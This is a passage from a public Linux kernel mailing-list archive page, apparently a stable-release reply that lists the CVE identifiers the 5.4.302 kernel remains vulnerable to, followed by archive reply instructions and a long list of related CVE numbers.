5.4.302 is vulnerable to CVE-2025-38591
5.4.302 is vulnerable to CVE-2025-38595
5.4.302 is vulnerable to CVE-2025-38614
5.4.302 is vulnerable to CVE-2025-38623
5.4.302 is vulnerable to CVE-2025-38624
5.4.302 is vulnerable to CVE-2025-38626
5.4.302 is vulnerable to CVE-2025-38643
5.4.302 is vulnerable to CVE-2025-38644
5.4.302 is vulnerable to CVE-2025-38645
5.4.302 is vulnerable to CVE-2025-38656
5.4.302 is vulnerable to CVE-2025-38665
5.4.302 is vulnerable to CVE-2025-38676
5.4.302 is vulnerable to CVE-2025-38679
5.4.302 is vulnerable to CVE-2025-38683
5.4.302 is vulnerable to CVE-2025-38684
5.4.302 is vulnerable to CVE-2025-38685
5.4.302 is vulnerable to CVE-2025-38702
5.4.302 is vulnerable to CVE-2025-38704
5.4.302 is vulnerable to CVE-2025-38705
5.4.302 is vulnerable to CVE-2025-38706
5.4.302 is vulnerable to CVE-2025-38709
5.4.302 is vulnerable to CVE-2025-38710
5.4.302 is vulnerable to CVE-2025-38716
5.4.302 is vulnerable to CVE-2025-38717
5.4.302 is vulnerable to CVE-2025-38728
5.4.302 is vulnerable to CVE-2025-38734
5.4.302 is vulnerable to CVE-2025-39677
5.4.302 is vulnerable to CVE-2025-39683
5.4.302 is vulnerable to CVE-2025-39684
5.4.302 is vulnerable to CVE-2025-39685
5.4.302 is vulnerable to CVE-2025-39686
5.4.302 is vulnerable to CVE-2025-39693
5.4.302 is vulnerable to CVE-2025-39697
5.4.302 is vulnerable to CVE-2025-39702
5.4.302 is vulnerable to CVE-2025-39705
5.4.302 is vulnerable to CVE-2025-39706
5.4.302 is vulnerable to CVE-2025-39707
5.4.302 is vulnerable to CVE-2025-39715
5.4.302 is vulnerable to CVE-2025-39716
5.4.302 is vulnerable to CVE-2025-39726
5.4.302 is vulnerable to CVE-2025-39738
5.4.302 is vulnerable to CVE-2025-39744
5.4.302 is vulnerable to CVE-2025-39745
5.4.302 is vulnerable to CVE-2025-39746
5.4.302 is vulnerable to CVE-2025-39747
5.4.302 is vulnerable to CVE-2025-39748
5.4.302 is vulnerable to CVE-2025-39753
5.4.302 is vulnerable to CVE-2025-39754
5.4.302 is vulnerable to CVE-2025-39759
5.4.302 is vulnerable to CVE-2025-39760
5.4.302 is vulnerable to CVE-2025-39762
5.4.302 is vulnerable to CVE-2025-39763
5.4.302 is vulnerable to CVE-2025-39764
5.4.302 is vulnerable to CVE-2025-39770
5.4.302 is vulnerable to CVE-2025-39772
5.4.302 is vulnerable to CVE-2025-39773
5.4.302 is vulnerable to CVE-2025-39781
5.4.302 is vulnerable to CVE-2025-39789
5.4.302 is vulnerable to CVE-2025-39795
5.4.302 is vulnerable to CVE-2025-39797
5.4.302 is vulnerable to CVE-2025-39800
5.4.302 is vulnerable to CVE-2025-39801
5.4.302 is vulnerable to CVE-2025-39810
5.4.302 is vulnerable to CVE-2025-39819
5.4.302 is vulnerable to CVE-2025-39825
5.4.302 is vulnerable to CVE-2025-39826
5.4.302 is vulnerable to CVE-2025-39827
5.4.302 is vulnerable to CVE-2025-39829
5.4.302 is vulnerable to CVE-2025-39833
5.4.302 is vulnerable to CVE-2025-39838
5.4.302 is vulnerable to CVE-2025-39863
5.4.302 is vulnerable to CVE-2025-39865
5.4.302 is vulnerable to CVE-2025-39866
5.4.302 is vulnerable to CVE-2025-39873
5.4.302 is vulnerable to CVE-2025-39901
5.4.302 is vulnerable to CVE-2025-39905
5.4.302 is vulnerable to CVE-2025-39925
5.4.302 is vulnerable to CVE-2025-39927
5.4.302 is vulnerable to CVE-2025-39929
5.4.302 is vulnerable to CVE-2025-39931
5.4.302 is vulnerable to CVE-2025-39932
5.4.302 is vulnerable to CVE-2025-39933
5.4.302 is vulnerable to CVE-2025-39940
5.4.302 is vulnerable to CVE-2025-39949
5.4.302 is vulnerable to CVE-2025-39952
5.4.302 is vulnerable to CVE-2025-39957
5.4.302 is vulnerable to CVE-2025-39958
5.4.302 is vulnerable to CVE-2025-39961
5.4.302 is vulnerable to CVE-2025-39964
5.4.302 is vulnerable to CVE-2025-39990
5.4.302 is vulnerable to CVE-2025-40003
5.4.302 is vulnerable to CVE-2025-40005
5.4.302 is vulnerable to CVE-2025-40021
5.4.302 is vulnerable to CVE-2025-40025
5.4.302 is vulnerable to CVE-2025-40036
5.4.302 is vulnerable to CVE-2025-40043
5.4.302 is vulnerable to CVE-2025-40053
5.4.302 is vulnerable to CVE-2025-40064
5.4.302 is vulnerable to CVE-2025-40074
5.4.302 is vulnerable to CVE-2025-40075
5.4.302 is vulnerable to CVE-2025-40080
5.4.302 is vulnerable to CVE-2025-40082
5.4.302 is vulnerable to CVE-2025-40092
5.4.302 is vulnerable to CVE-2025-40093
5.4.302 is vulnerable to CVE-2025-40094
5.4.302 is vulnerable to CVE-2025-40095
5.4.302 is vulnerable to CVE-2025-40099
5.4.302 is vulnerable to CVE-2025-40100
5.4.302 is vulnerable to CVE-2025-40102
5.4.302 is vulnerable to CVE-2025-40103
5.4.302 is vulnerable to CVE-2025-40104
5.4.302 is vulnerable to CVE-2025-40107
5.4.302 is vulnerable to CVE-2025-40110
5.4.302 is vulnerable to CVE-2025-40123
5.4.302 is vulnerable to CVE-2025-40135
5.4.302 is vulnerable to CVE-2025-40137
5.4.302 is vulnerable to CVE-2025-40139
5.4.302 is vulnerable to CVE-2025-40146
5.4.302 is vulnerable to CVE-2025-40149
5.4.302 is vulnerable to CVE-2025-40158
5.4.302 is vulnerable to CVE-2025-40160
5.4.302 is vulnerable to CVE-2025-40164
5.4.302 is vulnerable to CVE-2025-40168
5.4.302 is vulnerable to CVE-2025-40170
5.4.302 is vulnerable to CVE-2025-40180
5.4.302 is vulnerable to CVE-2025-40193
5.4.302 is vulnerable to CVE-2025-40195
5.4.302 is vulnerable to CVE-2025-40196
5.4.302 is vulnerable to CVE-2025-40206
5.4.302 is vulnerable to CVE-2025-40210
5.4.302 is vulnerable to CVE-2025-40300
Total Vulnerable CVE's in 5.4.302 : 1539
prev parent reply other threads:[~2025-12-03 12:50 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2025-12-03 12:12 Linux 5.4.302 Greg Kroah-Hartman
2025-12-03 12:12 ` Greg Kroah-Hartman
2025-12-03 12:50 ` Greg Kroah-Hartman [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=2025120358-skating-outage-7c61@gregkh \
--to=gregkh@linuxfoundation.org \
--cc=akpm@linux-foundation.org \
--cc=jslaby@suse.cz \
--cc=linux-kernel@vger.kernel.org \
--cc=lwn@lwn.net \
--cc=stable@vger.kernel.org \
--cc=torvalds@linux-foundation.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.
Related vulnerabilities: CVE-2025-39707CVE-2022-49873CVE-2022-50556CVE-2024-40972CVE-2024-50095CVE-2023-53171CVE-2023-53367CVE-2023-53402CVE-2022-50086CVE-2024-46730CVE-2024-36952CVE-2025-38436CVE-2023-53418CVE-2024-27002CVE-2024-44938CVE-2024-43877CVE-2025-21821CVE-2023-53620CVE-2022-49813CVE-2025-21738CVE-2022-50256CVE-2024-50073CVE-2024-36901CVE-2024-53190CVE-2025-37967CVE-2022-49997CVE-2025-40104CVE-2024-47693CVE-2024-36938CVE-2023-53685CVE-2025-38198CVE-2025-39800CVE-2022-49328CVE-2023-52926CVE-2025-39929CVE-2024-46720CVE-2025-38512CVE-2022-50300CVE-2025-21796CVE-2024-49918CVE-2024-41008CVE-2024-58053CVE-2021-47101CVE-2025-37745CVE-2024-44963CVE-2024-42080CVE-2022-49799CVE-2025-40053CVE-2025-22109CVE-2023-52586CVE-2025-21912CVE-2023-52750CVE-2024-50067CVE-2024-47690CVE-2022-49610CVE-2024-36911CVE-2025-23156CVE-2024-42321CVE-2024-46806CVE-2022-49901CVE-2022-50552CVE-2023-53257CVE-2024-50289CVE-2024-42322CVE-2023-53499CVE-2021-47523CVE-2022-49226CVE-2022-49449CVE-2020-36776CVE-2025-38560CVE-2024-56775CVE-2022-49603CVE-2021-47544CVE-2022-48826CVE-2022-49728CVE-2024-56551CVE-2024-36923CVE-2022-49766CVE-2023-53383CVE-2023-53410CVE-2024-44958CVE-2024-49974CVE-2025-38645CVE-2025-22055CVE-2022-48961CVE-2024-40927CVE-2023-52754CVE-2024-57809CVE-2022-50571CVE-2024-58094CVE-2023-52639CVE-2025-38499CVE-2024-35875CVE-2023-52491CVE-2022-50036CVE-2022-49998CVE-2022-50443CVE-2024-56698CVE-2024-49861CVE-2022-49540CVE-2022-49069CVE-2021-47191CVE-2023-53178CVE-2025-38257CVE-2023-53574CVE-2024-26846CVE-2023-53412CVE-2024-38546CVE-2025-39838CVE-2024-39479CVE-2024-57838CVE-2024-49569CVE-2024-42253CVE-2021-47061CVE-2024-36244CVE-2022-49542CVE-2025-38614CVE-2024-26960CVE-2025-40075CVE-2023-53718CVE-2024-43831CVE-2025-38310CVE-2025-23132CVE-2023-53074CVE-2024-56647CVE-2021-47452CVE-2024-27056CVE-2022-49831CVE-2024-26743CVE-2022-50114CVE-2023-52515CVE-2024-46776CVE-2024-58034CVE-2024-56651CVE-2025-40139CVE-2025-38272CVE-2022-49027CVE-2021-47070CVE-2024-46809CVE-2025-22090CVE-2024-49854CVE-2022-49534CVE-2022-49000CVE-2023-53103CVE-2025-38704CVE-2024-35848CVE-2024-26907CVE-2025-39685CVE-2023-53200CVE-2025-39702CVE-2025-38039CVE-2022-49065CVE-2022-49028CVE-2022-50163CVE-2024-44941CVE-2022-49107CVE-2022-50174CVE-2024-43892CVE-2024-56722CVE-2021-46987CVE-2024-43819CVE-2022-48674CVE-2024-50135CVE-2022-49138CVE-2023-52671CVE-2024-57887CVE-2025-38710CVE-2021-47508CVE-2024-53168CVE-2022-48953CVE-2025-40021CVE-2024-49899CVE-2022-49980CVE-2024-40970CVE-2022-48909CVE-2024-46726CVE-2024-38545CVE-2024-46826CVE-2025-22121CVE-2022-49566CVE-2024-27032CVE-2024-49898CVE-2025-37877CVE-2021-47004CVE-2025-39819CVE-2021-47116CVE-2024-41013CVE-2022-49823CVE-2024-46729CVE-2024-46832CVE-2024-26844CVE-2024-46753CVE-2024-57903CVE-2022-50073CVE-2023-52642CVE-2023-53441CVE-2024-42158CVE-2025-39697CVE-2024-26585CVE-2023-53432CVE-2023-53577CVE-2022-50144CVE-2020-36788CVE-2023-53405CVE-2022-49531CVE-2021-47479CVE-2025-40168CVE-2023-52517CVE-2024-57899CVE-2025-38623CVE-2025-39705CVE-2025-22027CVE-2024-35843CVE-2024-41079CVE-2024-36922CVE-2023-53097CVE-2022-49104CVE-2021-47362CVE-2024-58240CVE-2024-53100CVE-2022-50350CVE-2024-44950CVE-2025-21766CVE-2025-38143CVE-2023-53447CVE-2024-49891CVE-2025-37954CVE-2024-49859CVE-2022-50385CVE-2024-49950CVE-2025-38068CVE-2022-49129CVE-2024-47735CVE-2024-49911CVE-2023-53173CVE-2022-49241CVE-2022-49630CVE-2021-47211CVE-2024-41048CVE-2024-53058CVE-2023-53517CVE-2025-38045CVE-2025-38269CVE-2021-47226CVE-2024-40977CVE-2025-21690CVE-2025-39797CVE-2025-38071CVE-2022-50066CVE-2024-46681CVE-2024-38556CVE-2025-21750CVE-2024-27037CVE-2022-50388CVE-2024-27014CVE-2024-42160CVE-2024-46810CVE-2024-35837CVE-2024-40910CVE-2023-53039CVE-2024-53210CVE-2024-46825CVE-2025-21759CVE-2024-35887CVE-2025-39762CVE-2024-35999CVE-2024-40971CVE-2023-52811CVE-2021-47432CVE-2021-47281CVE-2023-53230CVE-2023-52878CVE-2024-44940CVE-2024-36910CVE-2024-50282CVE-2024-42155CVE-2022-50172CVE-2022-49158CVE-2022-49938CVE-2022-48901CVE-2023-53540CVE-2025-37867CVE-2021-47559CVE-2024-41069CVE-2024-56565CVE-2022-49979CVE-2024-50183CVE-2022-49428CVE-2025-22125CVE-2025-22072CVE-2023-52815CVE-2023-53020CVE-2025-38264CVE-2022-49851CVE-2024-35998CVE-2024-38608CVE-2024-56664CVE-2024-57843CVE-2023-53494CVE-2025-38189CVE-2023-53098CVE-2023-53225CVE-2023-53712CVE-2025-39795CVE-2023-52831CVE-2025-38576CVE-2024-57883CVE-2024-46716CVE-2022-50471CVE-2023-53038CVE-2025-39693CVE-2024-42120CVE-2022-49528CVE-2021-47490CVE-2024-35929CVE-2024-56636CVE-2024-42252CVE-2024-50061CVE-2024-36024CVE-2024-46802CVE-2023-53282CVE-2024-43907CVE-2024-58241CVE-2025-38218CVE-2024-39484CVE-2024-50211CVE-2024-50304CVE-2024-26866CVE-2023-52732CVE-2024-26962CVE-2025-39957CVE-2025-38683CVE-2023-53387CVE-2024-47678CVE-2023-53606CVE-2022-49182CVE-2024-56787CVE-2022-49178CVE-2024-56583CVE-2024-50196CVE-2024-57896CVE-2024-40967CVE-2024-49908CVE-2022-50103CVE-2023-53627CVE-2024-42135CVE-2025-37925CVE-2022-50356CVE-2024-35945CVE-2024-26584CVE-2022-48769CVE-2022-49174CVE-2025-37852CVE-2024-43902CVE-2022-50181CVE-2025-21629CVE-2023-53411CVE-2023-53607CVE-2024-38632CVE-2024-26842CVE-2023-52610CVE-2022-49635CVE-2025-37878CVE-2024-26595CVE-2024-47809CVE-2022-50166CVE-2022-49622CVE-2024-42098CVE-2022-49519CVE-2024-38581CVE-2024-53088CVE-2024-26715CVE-2025-38048CVE-2022-49698CVE-2024-49929CVE-2022-49743CVE-2024-36479CVE-2024-42267CVE-2023-53393CVE-2022-49430CVE-2025-38595CVE-2021-47412CVE-2023-53476CVE-2025-38263CVE-2023-52481CVE-2024-46807CVE-2023-52757CVE-2025-39865CVE-2022-50304CVE-2022-50527CVE-2022-50098CVE-2023-53483CVE-2025-38679CVE-2024-46871CVE-2023-52588CVE-2022-50493CVE-2025-21651CVE-2022-48763CVE-2024-35869CVE-2022-50146CVE-2023-53353CVE-2022-49555CVE-2022-48664CVE-2023-53094CVE-2023-52625CVE-2022-49112CVE-2022-50306CVE-2023-53270CVE-2021-47366CVE-2023-53413CVE-2024-26689CVE-2024-26906CVE-2025-40164CVE-2024-26759CVE-2023-53348CVE-2023-53111CVE-2023-53714CVE-2024-57924CVE-2025-39931CVE-2024-53220CVE-2024-39490CVE-2022-50582CVE-2025-39746CVE-2023-53647CVE-2024-26872CVE-2024-26747CVE-2025-21976CVE-2023-53596CVE-2024-35784CVE-2025-39873CVE-2023-53408CVE-2024-26988CVE-2025-40149CVE-2021-47005CVE-2024-49915CVE-2024-36903CVE-2024-50280CVE-2024-47143CVE-2021-47580CVE-2024-41005CVE-2024-53128CVE-2022-49161CVE-2022-49361CVE-2024-41067CVE-2023-52511CVE-2022-48765CVE-2023-53605CVE-2021-47618CVE-2025-40180CVE-2023-53671CVE-2024-38597CVE-2024-46821CVE-2025-23131CVE-2022-50492CVE-2025-40195CVE-2022-49319CVE-2023-52763CVE-2024-53095CVE-2023-53529CVE-2022-49246CVE-2023-52925CVE-2021-47131CVE-2024-53179CVE-2024-36953CVE-2024-39482CVE-2025-38099CVE-2024-26726CVE-2024-26928CVE-2024-47141CVE-2025-38333CVE-2021-47119CVE-2024-46702CVE-2024-54458CVE-2024-27012CVE-2024-46812CVE-2023-53105CVE-2025-37884CVE-2022-49420CVE-2023-53370CVE-2021-46925CVE-2022-49234CVE-2022-49194CVE-2022-50392CVE-2022-50233CVE-2022-48863CVE-2024-57893CVE-2024-43863CVE-2024-35940CVE-2024-35932CVE-2022-50011CVE-2022-49097CVE-2022-49504CVE-2025-37834CVE-2023-52939CVE-2023-53624CVE-2023-53416CVE-2021-47113CVE-2024-50060CVE-2022-48943CVE-2023-52766CVE-2023-53545CVE-2024-39508CVE-2022-48893CVE-2024-42319CVE-2024-26876CVE-2023-53429CVE-2024-56544CVE-2025-39827CVE-2024-26656CVE-2022-49267CVE-2025-38728CVE-2024-45828CVE-2023-53133CVE-2025-38734CVE-2024-47704CVE-2024-49970CVE-2022-49154CVE-2022-49172CVE-2025-21634CVE-2025-40300CVE-2024-36968CVE-2024-26769CVE-2023-53482CVE-2024-26686CVE-2024-58089CVE-2024-58005CVE-2022-49135CVE-2024-50047CVE-2022-50320CVE-2023-53248CVE-2022-49935CVE-2024-27408CVE-2022-48706CVE-2024-35803CVE-2024-35896CVE-2025-40064CVE-2024-42225CVE-2025-38410CVE-2025-39866CVE-2025-37951CVE-2022-49989CVE-2023-53588CVE-2025-38041CVE-2022-50015CVE-2024-46695CVE-2024-53090CVE-2022-50516CVE-2024-50017CVE-2022-50539CVE-2024-49992CVE-2024-57974CVE-2022-49317CVE-2024-44986CVE-2021-47653CVE-2023-52916CVE-2022-49696CVE-2025-38716CVE-2025-38040CVE-2024-27403CVE-2025-38063CVE-2025-40137CVE-2025-38094CVE-2023-53404CVE-2022-49932CVE-2022-49640CVE-2022-49899CVE-2023-53696CVE-2024-57888CVE-2024-56703CVE-2025-21891CVE-2024-42123CVE-2022-49837CVE-2022-50293CVE-2022-50560CVE-2024-46841CVE-2023-53581CVE-2025-39738CVE-2023-53247CVE-2024-35839CVE-2024-27011CVE-2022-49054CVE-2022-49513CVE-2022-49900CVE-2023-52762CVE-2024-26583CVE-2023-52741CVE-2022-49585CVE-2025-38425CVE-2025-38426CVE-2024-56611CVE-2024-26771CVE-2022-49188CVE-2021-47623CVE-2023-52888CVE-2023-53347CVE-2024-50187CVE-2022-49312CVE-2022-49521CVE-2022-50065CVE-2024-26672CVE-2023-52590CVE-2024-43905CVE-2024-49937CVE-2025-37963CVE-2023-53470CVE-2022-49323CVE-2021-47247CVE-2023-53586CVE-2024-56640CVE-2021-47359CVE-2022-48875CVE-2022-49398CVE-2022-50453CVE-2024-42118CVE-2023-52652CVE-2022-50374CVE-2022-49289CVE-2022-49440CVE-2023-53008CVE-2022-48755CVE-2020-36784CVE-2024-42156CVE-2025-22103CVE-2022-49623CVE-2025-38119CVE-2021-47414CVE-2023-52812CVE-2025-22008CVE-2024-35863CVE-2022-49512CVE-2025-38280CVE-2022-49761CVE-2023-53699CVE-2024-56778CVE-2022-49535CVE-2024-26775CVE-2025-37980CVE-2022-48844CVE-2025-39760CVE-2023-53539CVE-2025-40135CVE-2024-53224CVE-2024-26948CVE-2021-47577CVE-2025-39683CVE-2024-50166CVE-2025-38524CVE-2024-35790CVE-2024-26920CVE-2022-50120CVE-2023-52833CVE-2024-49921CVE-2022-48796CVE-2022-50488CVE-2023-52614CVE-2024-56701CVE-2022-50393CVE-2025-39949CVE-2022-49157CVE-2023-53594CVE-2024-49912CVE-2023-53530CVE-2024-50191CVE-2025-39964CVE-2024-50003CVE-2025-38438CVE-2021-47205CVE-2024-42147CVE-2023-53473CVE-2025-37739CVE-2024-56566CVE-2022-48920CVE-2025-37885CVE-2022-48628CVE-2024-50256CVE-2025-38319CVE-2024-57875CVE-2023-53409CVE-2022-50550CVE-2024-53218CVE-2022-49546CVE-2024-26913CVE-2023-53093CVE-2025-37756CVE-2024-27062CVE-2023-53391CVE-2023-53733CVE-2022-50021CVE-2024-41077CVE-2025-21801CVE-2025-37942CVE-2024-26869CVE-2022-49109CVE-2024-47726CVE-2024-41093CVE-2024-26691CVE-2024-43899CVE-2025-21894CVE-2023-52854CVE-2024-40911CVE-2024-42082CVE-2024-49905CVE-2025-39789CVE-2025-39901CVE-2024-47665CVE-2024-49934CVE-2024-36949CVE-2022-49285CVE-2024-50217CVE-2025-38064CVE-2022-49720CVE-2021-47408CVE-2025-37992CVE-2025-38556CVE-2024-38591CVE-2025-39764CVE-2024-36909CVE-2022-50417CVE-2024-44942CVE-2024-35995CVE-2024-36927CVE-2024-35951CVE-2021-47024CVE-2022-49156CVE-2023-52635CVE-2024-40947CVE-2025-38192CVE-2023-53707CVE-2024-40990CVE-2022-49124CVE-2025-38676CVE-2022-50024CVE-2024-49893CVE-2023-52752CVE-2024-35862CVE-2021-47339CVE-2024-26640CVE-2024-26807CVE-2024-35808CVE-2023-53419CVE-2024-56591CVE-2025-39754CVE-2025-39932CVE-2024-46733CVE-2022-49563CVE-2023-53249CVE-2025-40099CVE-2025-21820CVE-2022-49651CVE-2024-52559CVE-2021-47001CVE-2023-53332CVE-2024-41000CVE-2025-40036CVE-2024-26739CVE-2025-21726CVE-2024-53094CVE-2025-38161CVE-2023-53417CVE-2024-47660CVE-2025-39990CVE-2022-49764CVE-2024-26758CVE-2024-53187CVE-2025-39684CVE-2025-40094CVE-2025-38259CVE-2022-50407CVE-2024-40966CVE-2024-47683CVE-2024-41082CVE-2022-49711CVE-2021-47381CVE-2023-52828CVE-2024-26622CVE-2024-26641CVE-2024-46717CVE-2024-46787CVE-2022-48792CVE-2024-42312CVE-2025-23148CVE-2025-37849CVE-2023-52633CVE-2024-41060CVE-2024-26996CVE-2024-26700CVE-2022-50226CVE-2024-46823CVE-2022-50562CVE-2022-50167CVE-2025-38706CVE-2024-56604CVE-2022-49119CVE-2024-36897CVE-2024-46842CVE-2021-47158CVE-2023-53469CVE-2024-46870CVE-2025-38126CVE-2025-40100CVE-2024-46751CVE-2023-53684CVE-2023-53217CVE-2024-53093CVE-2024-50112CVE-2022-49046CVE-2022-49765CVE-2024-26706CVE-2024-26830CVE-2023-53335CVE-2022-50500CVE-2024-46760CVE-2025-40123CVE-2022-49723CVE-2022-48950CVE-2025-38665CVE-2025-38095CVE-2022-48761CVE-2024-35826CVE-2025-39952CVE-2022-49360CVE-2024-49919CVE-2023-52488CVE-2025-21780CVE-2024-50036CVE-2025-23161CVE-2024-53079CVE-2024-50062CVE-2025-40025CVE-2025-38117CVE-2024-53219CVE-2024-56662CVE-2024-46770CVE-2022-48642CVE-2024-35864CVE-2022-49502CVE-2024-35904CVE-2022-48825CVE-2025-38527CVE-2023-53183CVE-2022-49641CVE-2024-26947CVE-2022-50554CVE-2022-49749CVE-2024-36917CVE-2024-53206CVE-2025-40082CVE-2025-40102CVE-2025-37882CVE-2022-49923CVE-2024-39497CVE-2025-37830CVE-2023-52975CVE-2024-26719CVE-2025-38685CVE-2022-50467CVE-2023-53079CVE-2024-40918CVE-2025-39770CVE-2025-37801CVE-2021-47473CVE-2024-43904CVE-2025-38361CVE-2024-27415CVE-2022-49102CVE-2022-48975CVE-2024-49895CVE-2025-21792CVE-2024-26607CVE-2024-38611CVE-2023-53244CVE-2022-49618CVE-2022-48733CVE-2024-37354CVE-2024-35870CVE-2024-47658CVE-2025-39753CVE-2025-21881CVE-2024-26629CVE-2025-38709CVE-2022-49465CVE-2024-46811CVE-2024-26589CVE-2024-42077CVE-2023-53708CVE-2024-56623CVE-2022-49885CVE-2024-43866CVE-2022-49103CVE-2024-42110CVE-2023-52653CVE-2025-38591CVE-2022-49296CVE-2025-22104CVE-2023-53618CVE-2024-46813CVE-2024-40973CVE-2025-37880CVE-2023-53279CVE-2022-49664CVE-2024-43901CVE-2023-53091CVE-2022-50138CVE-2025-40110CVE-2023-53461CVE-2024-54683CVE-2021-47578CVE-2021-47335CVE-2025-37742CVE-2025-38067CVE-2024-41076CVE-2022-50364CVE-2025-39863CVE-2024-41001CVE-2024-40965CVE-2025-38080CVE-2022-49742CVE-2022-50053CVE-2024-44982CVE-2022-49168CVE-2025-38584CVE-2022-49134CVE-2025-38321CVE-2021-47599CVE-2024-50038CVE-2025-21969CVE-2024-46859CVE-2022-49496CVE-2022-50335CVE-2023-53326CVE-2021-47648CVE-2024-49991CVE-2024-53180CVE-2025-37853CVE-2022-49120CVE-2024-57984CVE-2024-36908CVE-2025-40074CVE-2024-46731CVE-2024-56609CVE-2023-53250CVE-2025-40206CVE-2024-57898CVE-2023-53080CVE-2024-38570CVE-2025-40093CVE-2022-50175CVE-2024-57939CVE-2024-35943CVE-2022-49072CVE-2024-40969CVE-2024-56763CVE-2024-36029CVE-2024-26828CVE-2023-53512CVE-2021-47433CVE-2023-53231CVE-2025-38656CVE-2023-52489CVE-2022-50023CVE-2024-53051CVE-2023-53503CVE-2023-52834CVE-2022-49294CVE-2022-48887CVE-2025-21899CVE-2025-38342CVE-2022-50328CVE-2023-53513CVE-2024-50056CVE-2024-26740CVE-2025-21927CVE-2025-40107CVE-2023-53286CVE-2025-39677CVE-2025-39825CVE-2024-43834CVE-2024-56641CVE-2022-50159CVE-2023-52484CVE-2024-26756CVE-2021-46926CVE-2024-53195CVE-2024-50015CVE-2024-41066CVE-2025-39748CVE-2023-53520CVE-2024-26914CVE-2025-38022CVE-2022-50580CVE-2023-53460CVE-2022-49190CVE-2022-49632CVE-2024-40999CVE-2024-26930CVE-2022-50224CVE-2022-49376CVE-2025-39925CVE-2023-52474CVE-2024-38580CVE-2022-48952CVE-2024-49571CVE-2024-27019CVE-2024-41014CVE-2021-47077CVE-2023-53406CVE-2024-38553CVE-2025-39773CVE-2024-47661CVE-2024-47691CVE-2025-37833CVE-2024-46762CVE-2024-46725CVE-2021-47253CVE-2022-49838CVE-2023-52500CVE-2024-36009CVE-2022-48865CVE-2024-57976CVE-2024-46732CVE-2024-56369CVE-2022-48811CVE-2023-53209CVE-2022-48721CVE-2025-39716CVE-2024-49889CVE-2022-49937CVE-2023-53359CVE-2021-47283CVE-2025-38717CVE-2022-49281CVE-2023-53651CVE-2025-38422CVE-2024-42114CVE-2021-47049CVE-2025-38644CVE-2022-50009CVE-2024-50058CVE-2021-47198CVE-2024-50258CVE-2022-49470CVE-2025-37961CVE-2023-52485CVE-2024-50115CVE-2024-26961CVE-2023-53241CVE-2022-49325CVE-2023-53010CVE-2024-49923CVE-2022-49497CVE-2022-50116CVE-2022-50369CVE-2021-47632CVE-2025-40080CVE-2024-36880CVE-2023-53201CVE-2024-38662CVE-2022-49967CVE-2022-49541CVE-2024-26659CVE-2024-49875CVE-2022-49219CVE-2021-47504CVE-2023-53576CVE-2023-53131CVE-2024-47745CVE-2024-53052CVE-2022-48633CVE-2025-22026CVE-2025-38503CVE-2024-36023CVE-2024-26900CVE-2024-48875CVE-2024-50125CVE-2025-21648CVE-2021-47399CVE-2023-52737CVE-2024-50272CVE-2024-53114CVE-2021-46941CVE-2024-27054CVE-2022-50236CVE-2024-35865CVE-2025-38062CVE-2021-47610CVE-2023-52664CVE-2025-37800CVE-2024-26733CVE-2024-49940CVE-2024-53234CVE-2022-48827CVE-2022-49579CVE-2024-46752CVE-2024-46727CVE-2023-53197CVE-2024-49913CVE-2023-53261CVE-2021-47219CVE-2023-53438CVE-2025-40146CVE-2022-49824CVE-2024-57982CVE-2025-38073CVE-2024-35934CVE-2025-37768CVE-2024-57975CVE-2024-36969CVE-2023-53390CVE-2024-49917CVE-2021-47265CVE-2024-40976CVE-2024-56590CVE-2023-53584CVE-2024-46774CVE-2022-49564CVE-2022-50060CVE-2022-49578CVE-2024-46860CVE-2024-50014CVE-2023-53149CVE-2025-40092CVE-2022-49121CVE-2021-47410CVE-2022-49545CVE-2022-50400CVE-2024-56584CVE-2022-49201CVE-2022-49118CVE-2025-38624CVE-2022-49898CVE-2021-47407CVE-2025-39905CVE-2024-35967CVE-2025-21931CVE-2024-56614CVE-2024-40929CVE-2023-53292CVE-2024-56658CVE-2024-47728CVE-2022-50406CVE-2025-21758CVE-2021-47331CVE-2023-53355CVE-2024-35949CVE-2025-22053CVE-2025-21734CVE-2024-46724CVE-2021-47212CVE-2024-50010CVE-2021-47074CVE-2025-38159CVE-2024-49989CVE-2022-48902CVE-2023-52638CVE-2024-35791CVE-2025-37911CVE-2024-56776CVE-2023-53254CVE-2024-27402CVE-2022-49311CVE-2025-38359CVE-2024-49945CVE-2024-46848CVE-2024-46754CVE-2025-38105CVE-2023-53661CVE-2022-49342CVE-2021-47492CVE-2023-53334CVE-2025-39706CVE-2023-52458CVE-2022-50512CVE-2024-42244CVE-2024-35966CVE-2024-49922CVE-2025-39801CVE-2025-40196CVE-2022-48791CVE-2022-50266CVE-2024-43817CVE-2022-49196CVE-2025-37856CVE-2022-49327CVE-2024-35861CVE-2023-52531CVE-2023-53510CVE-2025-38531CVE-2022-50132CVE-2025-21941CVE-2024-44949CVE-2025-37928CVE-2024-42128CVE-2022-50410CVE-2021-47183CVE-2024-50298CVE-2022-50373CVE-2024-46808CVE-2022-49829CVE-2022-50267CVE-2024-49910CVE-2024-49858CVE-2024-46773CVE-2025-39833CVE-2025-22083CVE-2024-43872CVE-2022-49924CVE-2024-46715CVE-2022-50241CVE-2022-49812CVE-2022-49892CVE-2024-36924CVE-2023-52761CVE-2024-47673CVE-2025-37836CVE-2024-35931CVE-2023-53579CVE-2024-58093CVE-2025-38107CVE-2024-56599CVE-2024-26915CVE-2024-47739CVE-2024-57897CVE-2022-50378CVE-2025-37842CVE-2025-39772CVE-2022-49106CVE-2023-52669CVE-2023-52903CVE-2021-47076CVE-2025-38112CVE-2022-48740CVE-2023-53538CVE-2025-39759CVE-2022-49730CVE-2023-53287CVE-2025-22025CVE-2024-49920CVE-2022-49839CVE-2024-38620CVE-2023-53682CVE-2022-49445CVE-2023-52826CVE-2023-52476CVE-2025-21712CVE-2024-56759CVE-2025-21802CVE-2022-49026CVE-2025-38207CVE-2024-46834CVE-2024-40998CVE-2024-26614CVE-2025-39927CVE-2024-49916CVE-2025-40103CVE-2024-49897CVE-2023-52886CVE-2024-49932CVE-2025-21831CVE-2025-21838CVE